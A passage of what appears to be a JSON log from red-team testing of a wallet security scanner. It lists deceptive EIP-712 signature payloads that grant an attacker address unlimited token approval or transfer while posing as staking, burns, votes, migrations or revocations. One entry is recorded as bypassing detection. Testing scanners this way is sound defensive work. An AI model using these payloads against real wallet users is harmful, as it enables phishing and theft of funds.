"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:03:25.301Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:03:34.459Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:03:43.617Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:03:52.766Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:04:01.919Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:04:11.070Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:04:20.222Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:04:29.533Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:04:38.700Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:04:47.849Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:04:57.014Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:05:06.156Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:05:15.302Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:05:24.444Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:05:33.597Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN4-EIP3009-022", "timestamp": "2026-01-31T16:05:42.765Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x6d59f33f2a7b6fe2dff2473810322281312d7b7a5ed72dcbfa46e7583c160a17\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-EIP3009-054", "timestamp": "2026-01-31T16:05:49.308Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1b028ccaba8058fe4d803b58eaf1ffa1d53475321da5ed3c986aad39f37a13a0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:05:58.776Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:06:07.909Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": 